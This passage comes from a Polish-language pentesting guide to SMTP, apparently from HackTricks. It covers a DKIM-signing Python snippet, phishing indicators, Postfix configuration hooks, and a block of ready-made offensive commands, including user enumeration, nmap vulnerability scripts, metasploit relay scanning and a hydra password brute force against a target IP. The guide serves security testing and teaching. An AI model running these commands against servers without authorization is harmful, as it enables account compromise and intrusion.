sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

{% endtab %} {% endtabs %}

Więcej informacji

Znajdź więcej informacji na temat tych zabezpieczeń na https://seanthegeek.net/459/demystifying-dmarc/

Inne wskaźniki phishingu

  • Wiek domeny
  • Linki wskazujące na adresy IP
  • Techniki manipulacji linkami
  • Podejrzane (nietypowe) załączniki
  • Uszkodzona zawartość e-maila
  • Używane wartości różniące się od nagłówków wiadomości
  • Istnienie ważnego i zaufanego certyfikatu SSL
  • Przesłanie strony do serwisów filtrowania treści internetowych

Wyciek danych za pomocą SMTP

Jeśli możesz wysyłać dane za pomocą SMTP przeczytaj to.

Plik konfiguracyjny

Postfix

Zazwyczaj, jeśli zainstalowany, w /etc/postfix/master.cf znajdują się skrypty do wykonania, na przykład gdy użytkownik otrzymuje nową wiadomość e-mail. Na przykład linia flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} oznacza, że /etc/postfix/filtering zostanie wykonane, jeśli użytkownik otrzyma nową wiadomość e-mail od marka.

Inne pliki konfiguracyjne:

sendmail.cf
submit.cf

Odnośniki

Automatyczne polecenia HackTricks

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

Natychmiastowe dostępne narzędzia do oceny podatności i testowania penetracyjnego. Uruchom pełne testy penetracyjne z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują rozpoznanie i raportowanie. Nie zastępujemy testerów penetracyjnych - opracowujemy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębianie się, zdobywanie powłok i dobrą zabawę.

{% embed url="https://pentest-tools.com/" %}

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: